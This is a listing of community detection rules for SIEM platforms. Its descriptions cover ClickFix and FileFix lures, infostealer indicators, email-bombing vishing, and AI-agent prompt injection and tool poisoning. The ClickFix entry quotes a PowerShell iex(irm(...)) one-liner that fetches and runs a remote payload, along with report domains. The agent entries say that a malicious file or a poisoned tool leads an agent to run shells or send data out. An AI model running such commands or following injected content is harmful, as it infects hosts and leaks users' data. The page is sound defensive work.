Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
536 detections
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Detects the creation or writing of disk image files (.iso, .img, .vhd, .vhdx) followed by the execution of suspicious file types (.lnk, .exe, .js, .vbs, .cmd, .bat, .scr) by explorer.exe within a 10-minute window. This behavior is indicative of an adversary using container files to bypass security controls or execute malicious payloads from mounted images.
Detects potential multimodal prompt injection attacks where an AI agent process ingests a file (PDF, image, etc.) from a browser or mail client and subsequently performs suspicious downstream activity, such as spawning a shell with execution primitives or making network connections to rare, non-reputable external domains. Covers T1204, T1059, T1105
Detects the Sauron Loader vishing chain: a mailbox hit by a high-volume, high-distinct-sender email bombing burst (raised from 20 to 50 emails/hour and now requiring 15+ distinct senders, to exclude single-sender retry loops or broken automation), followed within 2 hours by the same user launching Quick Assist or AnyDesk — consistent with an attacker posing as IT support after the flood. Also fixes a schema bug where EmailEvents was queried with TimeGenerated instead of Timestamp, and a post-join column reference bug.
Detects outbound HTTP requests to identified scam infrastructure (e.g., herokuapp domains) containing platform-specific query parameters (win or mac). This behavior is indicative of a user interacting with a malicious site that is delivering an OS-tailored locker or malware payload.
Detects outbound HTTP requests to identified scam infrastructure (e.g., herokuapp domains) containing platform-specific query parameters (win or mac). This behavior is indicative of a user interacting with a malicious site that is delivering an OS-tailored locker or malware payload.
This rule identifies potential infections associated with the MacSync malware family by matching process, file, and network indicators (hashes, malicious domains, and specific payload URLs) against endpoint telemetry. It monitors for execution of known malicious binaries, file creation events, and communication with identified command-and-control infrastructure.
This rule identifies potential infections associated with the MacSync malware family by matching process, file, and network indicators (hashes, malicious domains, and specific payload URLs) against endpoint telemetry. It monitors for execution of known malicious binaries, file creation events, and communication with identified command-and-control infrastructure.
Detects a sequence of events where a potential multimedia lure (PDF, image, or media file) is created or downloaded via a web browser or communication client, followed by an AI agent (e.g., ChatGPT, Claude) accessing the file, and subsequently initiating a shell execution process (PowerShell, CMD, etc.) involving suspicious command-line patterns or references to the original file. This behavior is indicative of an AI-assisted prompt injection attack where malicious content is processed and executed through agent tooling.
Detects a sequence of events where a potential multimedia lure (PDF, image, or media file) is created or downloaded via a web browser or communication client, followed by an AI agent (e.g., ChatGPT, Claude) accessing the file, and subsequently initiating a shell execution process (PowerShell, CMD, etc.) involving suspicious command-line patterns or references to the original file. This behavior is indicative of an AI-assisted prompt injection attack where malicious content is processed and executed through agent tooling.
Detects a sequence of events where a potential multimedia lure (PDF, image, or media file) is created or downloaded via a web browser or communication client, followed by an AI agent (e.g., ChatGPT, Claude) accessing the file, and subsequently initiating a shell execution process (PowerShell, CMD, etc.) involving suspicious command-line patterns or references to the original file. This behavior is indicative of an AI-assisted prompt injection attack where malicious content is processed and executed through agent tooling.
Detects when a victim user invokes an AI agent tool that has been potentially poisoned. This is identified by either a change in the tool definition hash sourced from unverified or untrusted locations, or by an invocation that results in unexpected, undocumented, or unauthorized secondary tool calls.
This rule monitors the behavior of AI agent orchestrators to detect potentially malicious activities, specifically focusing on unauthorized tool usage, deep tool invocation chains, and potential data exfiltration. It triggers when an agent invokes a tool outside of its authorized scope, performs an excessively deep sequence of tool calls, or accesses sensitive data followed by an outbound connection to an external endpoint, which is consistent with the MITRE ATLAS AML.T0053 technique.
This rule monitors for known malicious file hashes (MD5) and network traffic (domains and specific URLs) associated with known threats. It aggregates events from DeviceFileEvents, DeviceProcessEvents, and DeviceNetworkEvents to identify potential interactions with threat infrastructure.
This rule detects the loading of a suspicious DLL file named 'active_desktop_render_x64.dll' or the initiation of activity by a process named 'PDF_C2089_20260911100446.exe', which may indicate the execution of malicious code or potential process injection activity.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the presence of known Vidar infostealer samples by matching file hashes against a list of identified malicious artifacts. The rule monitors for file creation events, process execution (both as the primary process and as an initiating process), and network activity originating from these known malicious files.
Detects the installation or execution of virtual camera or synthetic media software followed shortly by the launch of common video conferencing applications on the same endpoint. This behavior may indicate an attempt to inject synthetic video feeds into meetings for impersonation or business email compromise (BEC) attacks.
This rule detects potential smishing or malvertising attacks by monitoring network activity for the download of .apk files from non-reputable domains. It correlates these download attempts with previous browsing behavior on URLs containing specific 'fake app-store' lure patterns (e.g., promotional text like 'Nexus One' or 'Download Now' outside of official marketplaces like Google Play, APKMirror, or APKPure).
A FileFix sibling technique dubbed DownloadFix uses a broken/incomplete download to prompt the victim to manually execute a .cmd file via the browser's Downloads shortcut instead of the Explorer address bar.
FileFix JavaScript silently writes the malicious command to the clipboard the instant the lure button is clicked, producing a much shorter human-reaction interval between browser launch and shell spawn than a manually typed path would allow.
Detects network activity associated with the 'ClickFix' social engineering campaign, which commonly targets users with fake error messages to trick them into executing malicious commands. The rule identifies communication with known malicious infrastructure (domains and IP addresses) found in CommonSecurityLog events, while implementing filters to exclude common security scanners and deduplicating per-host alerts.
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